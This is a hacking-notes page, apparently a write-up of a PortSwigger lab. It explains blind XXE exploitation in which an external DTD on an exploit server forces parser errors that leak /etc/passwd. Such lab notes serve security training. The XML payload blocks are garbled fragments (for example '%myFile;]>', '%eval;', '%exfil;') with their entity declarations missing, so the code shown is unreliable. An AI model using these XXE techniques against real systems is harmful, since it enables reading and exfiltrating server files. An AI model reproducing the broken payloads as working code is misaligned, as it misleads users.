> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md).
# XXE Blind Data Filtering via Error Messages
XXE Blind Data Filtering via Error Messages notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting Blind XXE to Retrieve Data via Error Messages
Lab: The Check stock feature analyzes an XML without directly displaying the answer. The objective is to use an external entity (DTD hosted on a server) to cause an error that will show the contents of the `/etc/passwd` file in the exception message. The technique of forcing the parser to include file content in a non-existent URI is used so that the exception reveals this content.
* The input point parses XML but does not return the result normally.
* The server allows the inclusion of an external DTD (hosted on the exploit domain).
* The parser error message contains sufficient information so that, if the DTD causes a poorly formed reference including the contents of a file, this content appears in the exception.
#### Load an External DTD Hosted on the Server to Operate by Adding a `DOCTYPE` Statement Pointing to the URL of the Exploit Server:
{% code overflow="wrap" %}
```xml
%myFile;]>
2
1
```
{% endcode %}
The parser returns an error of type:/ `XML parser exited with error: org.XML.sax.SAXParseException; systemId: https://qf9v476...; lineNumber: 1; columnNumber: 2; The markup declarations... must be well-formed.`
2. Direct attempt to list `/etc/passwd` (problem: too many lines):
```xml
">
%eval;
%exfil;
```
3. Technique used with error context — insert the contents of the file into an impossible reference to force the parser to display in the exception:
```xml
">
%eval;
%error;
```
By triggering the reference to `file:///nonexistent/%file;`, the parser generates an exception containing the text of the included resource (`/etc/passwd`), which allows to exfil content despite the absence of a normal return to functionality.
---
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